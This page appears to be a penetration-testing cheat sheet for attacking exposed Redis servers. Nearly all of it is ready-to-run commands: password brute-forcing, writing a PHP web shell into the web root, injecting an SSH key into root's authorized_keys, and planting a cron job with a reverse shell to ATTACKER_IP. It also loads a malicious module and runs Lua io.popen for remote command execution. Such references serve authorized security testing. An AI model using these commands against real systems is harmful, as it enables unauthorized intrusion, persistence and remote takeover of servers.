Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Service Detection

nmap -sV -sC -p 6379 TARGET

Connect

redis-cli -h TARGET
redis-cli -h TARGET -a 'password'

Check Auth Required

redis-cli -h TARGET
> INFO
If NOAUTH error → password required.

Brute-Force

hydra -P passwords.txt redis://TARGET
nmap -p 6379 --script redis-brute TARGET

Enumeration

> INFO
> CONFIG GET *
> CONFIG GET dir
> CONFIG GET dbfilename
> KEYS *
> GET key_name
> SELECT 0           # Switch database

Web Shell (If Web Root Known)

> CONFIG SET dir /var/www/html/
> CONFIG SET dbfilename shell.php
> SET payload "<?php system($_GET['cmd']); ?>"
> SAVE
Access: http://TARGET/shell.php?cmd=id

SSH Key Injection

Generate Key

ssh-keygen -t ed25519 -f /tmp/redis_key -N ""
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_payload.txt

Inject

cat /tmp/redis_payload.txt | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET CONFIG SET dir /root/.ssh/
redis-cli -h TARGET CONFIG SET dbfilename authorized_keys
redis-cli -h TARGET SAVE

Connect

ssh -i /tmp/redis_key root@TARGET

Cron Job Injection

redis-cli -h TARGET
> CONFIG SET dir /var/spool/cron/crontabs/
> CONFIG SET dbfilename root
> SET cron "\n\n* * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
> SAVE

Module RCE

Load malicious Redis module for command execution.
# Build
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
# Upload module.so to target
redis-cli -h TARGET MODULE LOAD /path/to/module.so
redis-cli -h TARGET system.exec "id"
redis-cli -h TARGET system.exec "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Lua Script Execution

redis-cli -h TARGET EVAL "return io.popen('id'):read('*a')" 0

NSE Scripts

nmap -p 6379 --script redis-info TARGET
nmap -p 6379 --script redis-brute TARGET

Quick Reference

CheckCommand
Connectredis-cli -h TARGET
Web shellCONFIG SET dir /var/www/html/; SET payload "<?php..."
SSH keyInject pub key to /root/.ssh/authorized_keys
Cron RCEWrite to /var/spool/cron/crontabs/root
Module RCEMODULE LOAD module.so; system.exec "cmd"